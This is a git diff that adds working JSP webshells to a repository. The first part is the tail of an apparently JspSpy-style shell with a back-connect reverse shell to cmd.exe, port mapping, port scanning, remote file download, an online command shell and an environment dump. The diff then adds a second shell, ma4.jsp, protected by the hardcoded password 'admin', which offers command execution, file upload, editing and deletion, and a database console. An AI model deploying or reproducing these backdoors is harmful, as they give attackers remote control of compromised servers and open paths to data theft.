+DataOutputStream remoteOut = null; +DataInputStream localIn = null; +DataOutputStream localOut = null; +try{ +soc = server.accept(); +remoteSoc = new Socket(); +remoteSoc.connect(new InetSocketAddress(remoteIP,Integer.parseInt(remotePort))); +remoteIn = new DataInputStream(remoteSoc.getInputStream()); +remoteOut = new DataOutputStream(remoteSoc.getOutputStream()); +localIn = new DataInputStream(soc.getInputStream()); +localOut = new DataOutputStream(soc.getOutputStream()); +this.readFromLocal(localIn,remoteOut); +this.readFromRemote(soc,remoteSoc,remoteIn,localOut); +}catch(Exception ex) +{ +break; +} +} +} +public void readFromLocal(final DataInputStream localIn,final DataOutputStream remoteOut){ +new Thread(new Runnable(){ +public void run(){ +while (true) { +try{ +byte[] data = new byte[100]; +int len = localIn.read(data); +while (len != -1) { +remoteOut.write(data,0,len); +len = localIn.read(data); +} +}catch (Exception e) { +break; +} +} +} +}).start(); +} +public void readFromRemote(final Socket soc,final Socket remoteSoc,final DataInputStream remoteIn,final DataOutputStream localOut){ +new Thread(new Runnable(){ +public void run(){ +while(true) { +try{ +byte[] data = new byte[100]; +int len = remoteIn.read(data); +while (len != -1) { +localOut.write(data,0,len); +len = remoteIn.read(data); +} +}catch (Exception e) { +try{ +soc.close(); +remoteSoc.close(); +}catch(Exception ex) { +} +break; +} +} +} +}).start(); +} +}).start(); +JSession.setAttribute("done","Map Port Success!"); +JSession.setAttribute("localIP",localIP); +JSession.setAttribute("localPort",localPort); +JSession.setAttribute("remoteIP",remoteIP); +JSession.setAttribute("remotePort",remotePort); +response.sendRedirect(SHELL_NAME+"?o=vmp"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VBackConnect +private static class VbcInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +Object ip = JSession.getAttribute("ip"); +Object port = JSession.getAttribute("port"); +Object program = JSession.getAttribute("program"); +Object done = JSession.getAttribute("done"); +JSession.removeAttribute("ip"); +JSession.removeAttribute("port"); +JSession.removeAttribute("program"); +JSession.removeAttribute("done"); +if (Util.isEmpty(ip)) +ip = request.getRemoteAddr(); +if (Util.isEmpty(port) || !Util.isInteger(port.toString())) +port = "4444"; +if (Util.isEmpty(program)) +program = "cmd.exe"; +if (!Util.isEmpty(done)) +Util.outMsg(out,done.toString()); +out.println("
    "+ +""+ +" "+ +" "+ +" "+ +""+ +"

    Back Connect >>

    "+ +"
    "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
    Your Ip :"+ +" "+ +" Your Port :"+ +" Program To Back :"+ +"

    "+ +" "+ +"
    "+ +"
    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class BackConnectInvoker extends DefaultInvoker { +public boolean doAfter(){return false;} +public boolean doBefore(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String ip = request.getParameter("ip"); +String port = request.getParameter("port"); +String program = request.getParameter("program"); +if (Util.isEmpty(ip) || Util.isEmpty(program) || !Util.isInteger(port)) +return; +Socket socket = new Socket(ip,Integer.parseInt(port)); +Process process = Runtime.getRuntime().exec(program); +(new StreamConnector(process.getInputStream(), socket.getOutputStream())).start(); +(new StreamConnector(socket.getInputStream(), process.getOutputStream())).start(); +JSession.setAttribute("done","Back Connect Success!"); +JSession.setAttribute("ip",ip); +JSession.setAttribute("port",port); +JSession.setAttribute("program",program); +response.sendRedirect(SHELL_NAME+"?o=vbc"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class JspEnvInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""+ +" "+ +" "+ +" "+ +"

    System Properties >>

    "+ +"
    "+ +"
    "+ +"
      "); +Properties pro = System.getProperties(); +Enumeration names = pro.propertyNames(); +while (names.hasMoreElements()){ +String name = (String)names.nextElement(); +out.println("
    • "+Util.htmlEncode(name)+" : "+Util.htmlEncode(pro.getProperty(name))+"
    • "); +} +out.println("

    System Environment >>


      "); +Map envs = System.getenv(); +Set> entrySet = envs.entrySet(); +for (Map.Entry en:entrySet) { +out.println("
    • "+Util.htmlEncode(en.getKey())+" : "+Util.htmlEncode(en.getValue())+"
    • "); +} +out.println("
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class TopInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println("
    "+ +""+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
    JspSpy Ver: 2009"+request.getHeader("host")+" ("+InetAddress.getLocalHost().getHostAddress()+")
    Logout | "+ +" File Manager | "+ +" DataBase Manager | "+ +" Execute Command | "+ +" Shell OnLine | "+ +" Back Connect | "+ +" Port Scan | "+ +" Download Remote File | "+ +" ClipBoard | "+ +" Remote Control | "+ +" Port Map | "+ +" JSP Env "+ +"
    "); +if (JSession.getAttribute(MSG) != null) { +Util.outMsg(out,JSession.getAttribute(MSG).toString()); +JSession.removeAttribute(MSG); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VOnLineShellInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); +out.println(""+ +" "+ +" "+ +" "+ +"
    "); +out.println("

    Shell OnLine »


    "); +out.println("
    "+ +" "+ +" "+ +" Notice ! If You Are Using IE , You Must Input A Command First After You Start Or You Will Not See The Echo"+ +"
    "+ +"
    "+ +" "+ +"
    "+ +" "+ +" "+ +" "+ +" Auto Scroll"+ +" "+ +"
    "+ +" " +); +out.println("
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class OnLineInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String type = request.getParameter("type"); +if (Util.isEmpty(type)) +return; +if (type.toLowerCase().equals("start")) { +String exe = request.getParameter("exe"); +if (Util.isEmpty(exe)) +return; +Process pro = Runtime.getRuntime().exec(exe); +ByteArrayOutputStream outs = new ByteArrayOutputStream(); +response.setContentLength(100000000); +response.setContentType("text/html;charset="+Charset.defaultCharset().name()); +OnLineProcess olp = new OnLineProcess(pro); +JSession.setAttribute(SHELL_ONLINE,olp); +new OnLineConnector(new ByteArrayInputStream(outs.toByteArray()),pro.getOutputStream(),"exeOclientR",olp).start(); +new OnLineConnector(pro.getInputStream(),response.getOutputStream(),"exeRclientO",olp).start(); +new OnLineConnector(pro.getErrorStream(),response.getOutputStream(),"exeRclientO",olp).start();//閿欒淇℃伅娴併?? +Thread.sleep(1000 * 60 * 60 * 24); +} else if (type.equals("ecmd")) { +Object o = JSession.getAttribute(SHELL_ONLINE); +String cmd = request.getParameter("cmd"); +if (Util.isEmpty(cmd)) +return; +if (o == null) +return; +OnLineProcess olp = (OnLineProcess)o; +olp.setCmd(cmd); +} else { +Object o = JSession.getAttribute(SHELL_ONLINE); +if (o == null) +return; +OnLineProcess olp = (OnLineProcess)o; +olp.stop(); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} + +static{ +ins.put("script",new ScriptInvoker()); +ins.put("before",new BeforeInvoker()); +ins.put("after",new AfterInvoker()); +ins.put("deleteBatch",new DeleteBatchInvoker()); +ins.put("clipboard",new ClipBoardInvoker()); +ins.put("vRemoteControl",new VRemoteControlInvoker()); +ins.put("gc",new GcInvoker()); +ins.put("vPortScan",new VPortScanInvoker()); +ins.put("portScan",new PortScanInvoker()); +ins.put("vConn",new VConnInvoker()); +ins.put("dbc",new DbcInvoker()); +ins.put("executesql",new ExecuteSQLInvoker()); +ins.put("vLogin",new VLoginInvoker()); +ins.put("login",new LoginInvoker()); +ins.put("filelist", new FileListInvoker()); +ins.put("logout",new LogoutInvoker()); +ins.put("upload",new UploadInvoker()); +ins.put("copy",new CopyInvoker()); +ins.put("bottom",new BottomInvoker()); +ins.put("vCreateFile",new VCreateFileInvoker()); +ins.put("vEdit",new VEditInvoker()); +ins.put("createFile",new CreateFileInvoker()); +ins.put("vEditProperty",new VEditPropertyInvoker()); +ins.put("editProperty",new EditPropertyInvoker()); +ins.put("vs",new VsInvoker()); +ins.put("shell",new ShellInvoker()); +ins.put("down",new DownInvoker()); +ins.put("vd",new VdInvoker()); +ins.put("downRemote",new DownRemoteInvoker()); +ins.put("index",new IndexInvoker()); +ins.put("mkdir",new MkDirInvoker()); +ins.put("move",new MoveInvoker()); +ins.put("removedir",new RemoteDirInvoker()); +ins.put("packBatch",new PackBatchInvoker()); +ins.put("pack",new PackInvoker()); +ins.put("unpack",new UnPackInvoker()); +ins.put("vmp",new VmpInvoker()); +ins.put("vbc",new VbcInvoker()); +ins.put("backConnect",new BackConnectInvoker()); +ins.put("jspEnv",new JspEnvInvoker()); +ins.put("smp",new SmpInvoker()); +ins.put("mapPort",new MapPortInvoker()); +ins.put("top",new TopInvoker()); +ins.put("vso",new VOnLineShellInvoker()); +ins.put("online",new OnLineInvoker()); +} +%> +<% +try { +String o = request.getParameter("o"); +if (!Util.isEmpty(o)) { +Invoker in = ins.get(o); +if (in == null) { +response.sendRedirect(SHELL_NAME+"?o=index"); +} else { +if (in.doBefore()) { +String path = request.getParameter("folder"); +if (!Util.isEmpty(path)) +session.setAttribute(CURRENT_DIR,path); +ins.get("before").invoke(request,response,session); +ins.get("script").invoke(request,response,session); +ins.get("top").invoke(request,response,session); +} +in.invoke(request,response,session); +if (!in.doAfter()) { +return; +}else{ +ins.get("bottom").invoke(request,response,session); +ins.get("after").invoke(request,response,session); +} +} +} else { +response.sendRedirect(SHELL_NAME+"?o=index"); +} +} catch (Exception e) { +ByteArrayOutputStream bout = new ByteArrayOutputStream(); +e.printStackTrace(new PrintStream(bout)); +session.setAttribute(CURRENT_DIR,SHELL_DIR); +Util.outMsg(out,Util.htmlEncode(new String(bout.toByteArray())).replace("\n","
    "),"left"); +bout.close(); +out.flush(); +ins.get("bottom").invoke(request,response,session); +ins.get("after").invoke(request,response,session); +} +%> \ No newline at end of file diff --git a/jsp/ma4.jsp b/jsp/ma4.jsp new file mode 100644 index 0000000..58daa09 --- /dev/null +++ b/jsp/ma4.jsp @@ -0,0 +1,1780 @@ +<%@ page contentType="text/html; charset=GBK" %> +<%@ page import="java.io.*"%> +<%@ page import="java.util.Map"%> +<%@ page import="java.util.HashMap"%> +<%@ page import="java.nio.charset.Charset"%> +<%@ page import="java.util.regex.*"%> +<%@ page import="java.sql.*"%> + +<%! +//it's explame +private String _password = "admin"; +private String _encodeType = "GB2312"; +private int _sessionOutTime = 20; +private String[] _textFileTypes = {"txt", "htm", "html", "asp", "jsp", "java", "js", "css", "c", "cpp", "sh", "pl", "cgi", "php", "conf", "xml", "xsl", "ini", "vbs", "inc"}; +private Connection _dbConnection = null; +private Statement _dbStatement = null; +private String _url = null; +//it's explame +public boolean validate(String password) { + if (password.equals(_password)) { + return true; + } else { + return false; + } +} +//it's explame +public String HTMLEncode(String str) { + str = str.replaceAll(" ", " "); + str = str.replaceAll("<", "<"); + str = str.replaceAll(">", ">"); + str = str.replaceAll("\r\n", "
    "); + + return str; +} +//it's explame +public String Unicode2GB(String str) { + String sRet = null; + //it's explame + try { + sRet = new String(str.getBytes("ISO8859_1"), _encodeType); + } catch (Exception e) { + sRet = str; + } + + return sRet; +} +//it's explame +public String exeCmd(String cmd) { + Runtime runtime = Runtime.getRuntime(); + Process proc = null; + String retStr = ""; + InputStreamReader insReader = null; + char[] tmpBuffer = new char[1024]; + int nRet = 0; + //it's explame + try { + proc = runtime.exec(cmd); + insReader = new InputStreamReader(proc.getInputStream(), Charset.forName("GB2312")); + + while ((nRet = insReader.read(tmpBuffer, 0, 1024)) != -1) { + retStr += new String(tmpBuffer, 0, nRet); + } + //it's explame + insReader.close(); + retStr = HTMLEncode(retStr); + } catch (Exception e) { + retStr = "bad command \"" + cmd + "\""; + } finally { + return retStr; + } +} +//it's explame +public String pathConvert(String path) { + String sRet = path.replace('\\', '/'); + File file = new File(path); + //it's explame + if (file.getParent() != null) { + if (file.isDirectory()) { + if (! sRet.endsWith("/")) + sRet += "/"; + } + } else { + if (! sRet.endsWith("/")) + sRet += "/"; + } + //it's explame + return sRet; +} + +public String strCut(String str, int len) { + String sRet; + //it's explame + len -= 3; + + if (str.getBytes().length <= len) { + sRet = str; + } else { + try { + sRet = (new String(str.getBytes(), 0, len, "GBK")) + "..."; + } catch (Exception e) { + sRet = str; + } + } + + return sRet; +} +//it's explame +public String listFiles(String path, String curUri) { + File[] files = null; + File curFile = null; + String sRet = null; + int n = 0; + boolean isRoot = path.equals(""); + //it's explame + path = pathConvert(path); + + try { + if (isRoot) { + files = File.listRoots(); + } else { + try { + curFile = new File(path); + String[] sFiles = curFile.list(); + files = new File[sFiles.length]; + + for (n = 0; n < sFiles.length; n ++) { + files[n] = new File(path + sFiles[n]); + } + } catch (Exception e) { + sRet = "bad path \"" + path + "\""; + } + } + //it's explame + if (sRet == null) { + sRet = "\n"; + sRet += "\n"; + sRet += "\n"; + sRet += " \n"; + //it's explame + if (curFile != null) { + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + } + //it's explame + sRet += "\n"; + //it's explame + sRet += " \n"; + //it's explame + for (n = 0; n < files.length; n ++) { + sRet += " \n"; + //it's explame + if (! isRoot) { + sRet += " \n"; + if (files[n].isDirectory()) { + sRet += " \n"; + } else { + sRet += " \n"; + } + + sRet += " \n"; + sRet += " \n"; + } else { + sRet += " \n"; + } + + sRet += " \n"; + } + sRet += " \n"; + sRet += "
    \n"; + sRet += "  上级目录 "; + sRet += "创建目录 "; + sRet += "新建文件 "; + sRet += "删除 "; + sRet += "复制 "; + sRet += "重命名 "; + sRet += "上传文件\n"; + sRet += " \n"; + sRet += "
    <" + strCut(files[n].getName(), 50) + ">" + strCut(files[n].getName(), 50) + "" + (files[n].isDirectory() ? "<dir>" : "") + ((! files[n].isDirectory()) && isTextFile(getExtName(files[n].getPath())) ? "<edit>" : "") + "" + files[n].length() + "" + pathConvert(files[n].getPath()) + "
    \n"; + } + } catch (SecurityException e) { + sRet = "security violation, no privilege."; + } + + return sRet; +} + +public boolean isTextFile(String extName) { + int i; + boolean bRet = false; + + if (! extName.equals("")) { + for (i = 0; i < _textFileTypes.length; i ++) { + if (extName.equals(_textFileTypes[i])) { + bRet = true; + break; + } + } + } else { + bRet = true; + } + + return bRet; +} + +public String getExtName(String fileName) { + String sRet = ""; + int nLastDotPos; + //it's explame + fileName = pathConvert(fileName); + //it's explame + nLastDotPos = fileName.lastIndexOf("."); + + if (nLastDotPos == -1) { + sRet = ""; + } else { + sRet = fileName.substring(nLastDotPos + 1); + } + + return sRet; +} + +public String browseFile(String path) { + String sRet = ""; + File file = null; + FileReader fileReader = null; + //it's explame + path = pathConvert(path); + //it's explame + try { + file = new File(path); + fileReader = new FileReader(file); + String fileString = ""; + char[] chBuffer = new char[1024]; + int ret; + + sRet = "\n"; + //it's explame + } catch (IOException e) { + sRet += "\n"; + } + + return sRet; +} +//it's explame +public String openFile(String path, String curUri) { + String sRet = ""; + boolean canOpen = false; + int nLastDotPos = path.lastIndexOf("."); + String extName = ""; + String fileString = null; + File curFile = null; + //it's explame + path = pathConvert(path); + //it's explame + if (nLastDotPos == -1) { + canOpen = true; + } else { + extName = path.substring(nLastDotPos + 1); + canOpen = isTextFile(extName); + } + + if (canOpen) { + try { + fileString = ""; + curFile = new File(path); + FileReader fileReader = new FileReader(curFile); + char[] chBuffer = new char[1024]; + int nRet; + + while ((nRet = fileReader.read(chBuffer, 0, 1024)) != -1) { + fileString += new String(chBuffer, 0, nRet); + } + //it's explame + fileReader.close(); + } catch (IOException e) { + fileString = null; + sRet = "不能打开文件\"" + path + "\""; + } catch (SecurityException e) { + fileString = null; + sRet = "安全问题,没有权限执行该操作"; + } + } else { + sRet = "file \"" + path + "\" is not a text file, can't be opened in text mode"; + } + + if (fileString != null) { + sRet += "\n"; + sRet += "\n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += "
    [上级目录]
    \n"; + sRet += " \n"; + sRet += "
     
    \n"; + } + + return sRet; +} + +public String saveFile(String path, String curUri, String fileContent) { + String sRet = ""; + File file = null; + + path = pathConvert(path); + + try { + file = new File(path); + + if (! file.canWrite()) { + sRet = "文件不可写"; + } else { + FileWriter fileWriter = new FileWriter(file); + fileWriter.write(fileContent); + + fileWriter.close(); + sRet = "文件保存成功,正在返回,请稍候……\n"; + sRet += "\n"; + } + } catch (IOException e) { + sRet = "保存文件失败"; + } catch (SecurityException e) { + sRet = "安全问题,没有权限执行该操作"; + } + + return sRet; +} + +public String createFolder(String path, String curUri, String folderName) { + String sRet = ""; + File folder = null; + + path = pathConvert(path); + + try { + folder = new File(path + folderName); + + if (folder.exists() && folder.isDirectory()) { + sRet = "\"" + path + folderName + "\"目录已经存在"; + } else { + if (folder.mkdir()) { + sRet = "成功创建目录\"" + pathConvert(folder.getPath()) + "\",正在返回,请稍候……\n"; + sRet += ""; + } else { + sRet = "创建目录\"" + folderName + "\"失败"; + } + } + } catch (SecurityException e) { + sRet = "安全问题,没有权限执行该操作"; + } + + return sRet; +} + +public String createFile(String path, String curUri, String fileName) { + String sRet = ""; + File file = null; + + path = pathConvert(path); + + try { + file = new File(path + fileName); + + if (file.createNewFile()) { + sRet = ""; + } else { + sRet = "\"" + path + fileName + "\"文件已经存在"; + } + } catch (SecurityException e) { + sRet = "安全问题,没有权限执行该操作"; + } catch (IOException e) { + sRet = "创建文件\"" + path + fileName + "\"失败"; + } + + return sRet; +} + +public String deleteFile(String path, String curUri, String[] files2Delete) { + String sRet = ""; + File tmpFile = null; + + try { + for (int i = 0; i < files2Delete.length; i ++) { + tmpFile = new File(files2Delete[i]); + if (! tmpFile.delete()) { + sRet += "删除\"" + files2Delete[i] + "\"失败
    \n"; + } + } + + if (sRet.equals("")) { + sRet = "删除成功,正在返回,请稍候……\n"; + sRet += ""; + } + } catch (SecurityException e) { + sRet = "安全问题,没有权限执行该操作\n"; + } + + return sRet; +} + +public String saveAs(String path, String curUri, String fileContent) { + String sRet = ""; + File file = null; + FileWriter fileWriter = null; + + try { + file = new File(path); + + if (file.createNewFile()) { + fileWriter = new FileWriter(file); + fileWriter.write(fileContent); + fileWriter.close(); + + sRet = ""; + } else { + sRet = "文件\"" + path + "\"已经存在"; + } + } catch (IOException e) { + sRet = "创建文件\"" + path + "\"失败"; + } + + return sRet; +} + + +public String uploadFile(ServletRequest request, String path, String curUri) { + String sRet = ""; + File file = null; + InputStream in = null; + + path = pathConvert(path); + + try { + in = request.getInputStream(); + + byte[] inBytes = new byte[request.getContentLength()]; + int nBytes; + int start = 0; + int end = 0; + int size = 1024; + String token = null; + String filePath = null; + + // + // 把输入流读入一个字节数组 + // + while ((nBytes = in.read(inBytes, start, size)) != -1) { + start += nBytes; + } + + in.close(); + // + // 从字节数组中得到文件分隔符号 + // + int i = 0; + byte[] seperator; + + while (inBytes[i] != 13) { + i ++; + } + + seperator = new byte[i]; + + for (i = 0; i < seperator.length; i ++) { + seperator[i] = inBytes[i]; + } + + // + // 得到Header部分 + // + String dataHeader = null; + i += 3; + start = i; + while (! (inBytes[i] == 13 && inBytes[i + 2] == 13)) { + i ++; + } + end = i - 1; + dataHeader = new String(inBytes, start, end - start + 1); + + // + // 得到文件名 + // + token = "filename=\""; + start = dataHeader.indexOf(token) + token.length(); + token = "\""; + end = dataHeader.indexOf(token, start) - 1; + filePath = dataHeader.substring(start, end + 1); + filePath = pathConvert(filePath); + String fileName = filePath.substring(filePath.lastIndexOf("/") + 1); + + // + // 得到文件内容开始位置 + // + i += 4; + start = i; + + /* + boolean found = true; + byte[] tmp = new byte[seperator.length]; + while (i <= inBytes.length - 1 - seperator.length) { + + for (int j = i; j < i + seperator.length; j ++) { + if (seperator[j - i] != inBytes[j]) { + found = false; + break; + } else + tmp[j - i] = inBytes[j]; + } + + if (found) + break; + + i ++; + }*/ + + // + // 偷懒的办法 + // + end = inBytes.length - 1 - 2 - seperator.length - 2 - 2; + + // + // 保存为文件 + // + File newFile = new File(path + fileName); + newFile.createNewFile(); + FileOutputStream out = new FileOutputStream(newFile); + + //out.write(inBytes, start, end - start + 1); + out.write(inBytes, start, end - start + 1); + out.close(); + + sRet = "\n"; + } catch (IOException e) { + sRet = "\n"; + } + + sRet += ""; + return sRet; +} + +public boolean fileCopy(String srcPath, String dstPath) { + boolean bRet = true; + + try { + FileInputStream in = new FileInputStream(new File(srcPath)); + FileOutputStream out = new FileOutputStream(new File(dstPath)); + byte[] buffer = new byte[1024]; + int nBytes; + + + while ((nBytes = in.read(buffer, 0, 1024)) != -1) { + out.write(buffer, 0, nBytes); + } + + in.close(); + out.close(); + } catch (IOException e) { + bRet = false; + } + + return bRet; +} + +public String getFileNameByPath(String path) { + String sRet = ""; + + path = pathConvert(path); + + if (path.lastIndexOf("/") != -1) { + sRet = path.substring(path.lastIndexOf("/") + 1); + } else { + sRet = path; + } + + return sRet; +} + +public String copyFiles(String path, String curUri, String[] files2Copy, String dstPath) { + String sRet = ""; + int i; + + path = pathConvert(path); + dstPath = pathConvert(dstPath); + + for (i = 0; i < files2Copy.length; i ++) { + if (! fileCopy(files2Copy[i], dstPath + getFileNameByPath(files2Copy[i]))) { + sRet += "文件\"" + files2Copy[i] + "\"复制失败
    "; + } + } + + if (sRet.equals("")) { + sRet = "文件复制成功,正在返回,请稍候……"; + sRet += ""; + } + + return sRet; +} + +public boolean isFileName(String fileName) { + boolean bRet = false; + + Pattern p = Pattern.compile("^[a-zA-Z0-9][\\w\\.]*[\\w]$"); + Matcher m = p.matcher(fileName); + + bRet = m.matches(); + + return bRet; +} + +public String renameFile(String path, String curUri, String file2Rename, String newName) { + String sRet = ""; + + path = pathConvert(path); + file2Rename = pathConvert(file2Rename); + + try { + File file = new File(file2Rename); + + newName = file2Rename.substring(0, file2Rename.lastIndexOf("/") + 1) + newName; + File newFile = new File(newName); + + if (! file.exists()) { + sRet = "文件\"" + file2Rename + "\"不存在"; + } else { + file.renameTo(newFile); + sRet = "文件重命名成功,正在返回,请稍候……"; + sRet += ""; + } + } catch (SecurityException e) { + sRet = "安全问题导致文件\"" + file2Rename + "\"复制失败"; + } + + return sRet; +} + +public boolean DBInit(String dbType, String dbServer, String dbPort, String dbUsername, String dbPassword, String dbName) { + boolean bRet = true; + String driverName = ""; + + if (dbServer.equals("")) + dbServer = "localhost"; + + try { + if (dbType.equals("sqlserver")) { + driverName = "com.microsoft.jdbc.sqlserver.SQLServerDriver"; + if (dbPort.equals("")) + dbPort = "1433"; + _url = "jdbc:microsoft:sqlserver://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName; + } else if (dbType.equals("mysql")) { + driverName = "com.mysql.jdbc.Driver"; + if (dbPort.equals("")) + dbPort = "3306"; + _url = "jdbc:mysql://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName; + } else if (dbType.equals("odbc")) { + driverName = "sun.jdbc.odbc.JdbcOdbcDriver"; + _url = "jdbc:odbc:dsn=" + dbName + ";User=" + dbUsername + ";Password=" + dbPassword; + } else if (dbType.equals("oracle")) { + driverName = "oracle.jdbc.driver.OracleDriver"; + _url = "jdbc:oracle:thin@" + dbServer + ":" + dbPort + ":" + dbName; + } else if (dbType.equals("db2")) { + driverName = "com.ibm.db2.jdbc.app.DB2Driver"; + _url = "jdbc:db2://" + dbServer + ":" + dbPort + "/" + dbName; + } + + Class.forName(driverName); + } catch (ClassNotFoundException e) { + bRet = false; + } + + return bRet; +} + +public boolean DBConnect(String User, String Password) { + boolean bRet = false; + + if (_url != null) { + try { + _dbConnection = DriverManager.getConnection(_url, User, Password); + _dbStatement = _dbConnection.createStatement(); + bRet = true; + } catch (SQLException e) { + bRet = false; + } + } + + return bRet; +} + +public String DBExecute(String sql) { + String sRet = ""; + + if (_dbConnection == null || _dbStatement == null) { + sRet = "数据库没有正常连接"; + } else { + try { + if (sql.toLowerCase().substring(0, 6).equals("select")) { + ResultSet rs = _dbStatement.executeQuery(sql); + ResultSetMetaData rsmd = rs.getMetaData(); + int colNum = rsmd.getColumnCount(); + int colType; + + sRet = "sql语句执行成功,返回结果
    \n"; + sRet += "\n"; + sRet += " \n"; + for (int i = 1; i <= colNum; i ++) { + sRet += " \n"; + } + sRet += " \n"; + while (rs.next()) { + sRet += " \n"; + for (int i = 1; i <= colNum; i ++) { + colType = rsmd.getColumnType(i); + + sRet += " \n"; + } + sRet += " \n"; + } + sRet += "
    " + rsmd.getColumnName(i) + "(" + rsmd.getColumnTypeName(i) + ")
    "; + switch (colType) { + case Types.BIGINT: + sRet += rs.getLong(i); + break; + + case Types.BIT: + sRet += rs.getBoolean(i); + break; + + case Types.BOOLEAN: + sRet += rs.getBoolean(i); + break; + + case Types.CHAR: + sRet += rs.getString(i); + break; + + case Types.DATE: + sRet += rs.getDate(i).toString(); + break; + + case Types.DECIMAL: + sRet += rs.getDouble(i); + break; + + case Types.NUMERIC: + sRet += rs.getDouble(i); + break; + + case Types.REAL: + sRet += rs.getDouble(i); + break; + + case Types.DOUBLE: + sRet += rs.getDouble(i); + break; + + case Types.FLOAT: + sRet += rs.getFloat(i); + break; + + case Types.INTEGER: + sRet += rs.getInt(i); + break; + + case Types.TINYINT: + sRet += rs.getShort(i); + break; + + case Types.VARCHAR: + sRet += rs.getString(i); + break; + + case Types.TIME: + sRet += rs.getTime(i).toString(); + break; + + case Types.DATALINK: + sRet += rs.getTimestamp(i).toString(); + break; + } + sRet += "
    \n"; + + rs.close(); + } else { + if (_dbStatement.execute(sql)) { + sRet = "sql语句执行成功"; + } else { + sRet = "sql语句执行失败"; + } + } + } catch (SQLException e) { + sRet = "sql语句执行失败"; + } + } + + return sRet; +} + +public void DBRelease() { + try { + if (_dbStatement != null) { + _dbStatement.close(); + _dbStatement = null; + } + + if (_dbConnection != null) { + _dbConnection.close(); + _dbConnection = null; + } + } catch (SQLException e) { + + } +} + +///////////////////////////////////////////////////////////////////////////////////////////////////////////////// + +class JshellConfig { + private String _jshellContent = null; + private String _path = null; + + public JshellConfig(String path) throws JshellConfigException { + _path = path; + read(); + } + + private void read() throws JshellConfigException { + try { + FileReader jshell = new FileReader(new File(_path)); + char[] buffer = new char[1024]; + int nChars; + _jshellContent = ""; + + while ((nChars = jshell.read(buffer, 0, 1024)) != -1) { + _jshellContent += new String(buffer, 0, nChars); + } + + jshell.close(); + } catch (IOException e) { + throw new JshellConfigException("打开文件失败"); + } + } + + public void save() throws JshellConfigException { + FileWriter jshell = null; + + try { + jshell = new FileWriter(new File(_path)); + char[] buffer = _jshellContent.toCharArray(); + int start = 0; + int size = 1024; + + for (start = 0; start < buffer.length - 1 - size; start += size) { + jshell.write(buffer, start, size); + } + + jshell.write(buffer, start, buffer.length - 1 - start); + } catch (IOException e) { + new JshellConfigException("写文件失败"); + } finally { + try { + jshell.close(); + } catch (IOException e) { + + } + } + } + + public void setPassword(String password) throws JshellConfigException { + Pattern p = Pattern.compile("\\w+"); + Matcher m = p.matcher(password); + + if (! m.matches()) { + throw new JshellConfigException("密码不能有除字母数字下划线以外的字符"); + } + + p = Pattern.compile("private\\sString\\s_password\\s=\\s\"" + _password + "\""); + m = p.matcher(_jshellContent); + if (! m.find()) { + throw new JshellConfigException("程序体已经被非法修改"); + } + + _jshellContent = m.replaceAll("private String _password = \"" + password + "\""); + + //return HTMLEncode(_jshellContent); + } + + public void setEncodeType(String encodeType) throws JshellConfigException { + Pattern p = Pattern.compile("[A-Za-z0-9]+"); + Matcher m = p.matcher(encodeType); + + if (! m.matches()) { + throw new JshellConfigException("编码格式只能是字母和数字的组合"); + } + + p = Pattern.compile("private\\sString\\s_encodeType\\s=\\s\"" + _encodeType + "\""); + m = p.matcher(_jshellContent); + + if (! m.find()) { + throw new JshellConfigException("程序体已经被非法修改"); + } + + _jshellContent = m.replaceAll("private String _encodeType = \"" + encodeType + "\""); + //return HTMLEncode(_jshellContent); + } + + public void setSessionTime(String sessionTime) throws JshellConfigException { + Pattern p = Pattern.compile("\\d+"); + Matcher m = p.matcher(sessionTime); + + if (! m.matches()) { + throw new JshellConfigException("session超时时间只能填数字"); + } + + p = Pattern.compile("private\\sint\\s_sessionOutTime\\s=\\s" + _sessionOutTime); + m = p.matcher(_jshellContent); + + if (! m.find()) { + throw new JshellConfigException("程序体已经被非法修改"); + } + + _jshellContent = m.replaceAll("private int _sessionOutTime = " + sessionTime); + //return HTMLEncode(_jshellContent); + } + + public void setTextFileTypes(String[] textFileTypes) throws JshellConfigException { + Pattern p = Pattern.compile("\\w+"); + Matcher m = null; + int i; + String fileTypes = ""; + String tmpFileTypes = ""; + + for (i = 0; i < textFileTypes.length; i ++) { + m = p.matcher(textFileTypes[i]); + + if (! m.matches()) { + throw new JshellConfigException("扩展名只能是字母数字和下划线的组合"); + } + + if (i != textFileTypes.length - 1) + fileTypes += "\"" + textFileTypes[i] + "\"" + ", "; + else + fileTypes += "\"" + textFileTypes[i] + "\""; + } + + for (i = 0; i < _textFileTypes.length; i ++) { + if (i != _textFileTypes.length - 1) + tmpFileTypes += "\"" + _textFileTypes[i] + "\"" + ", "; + else + 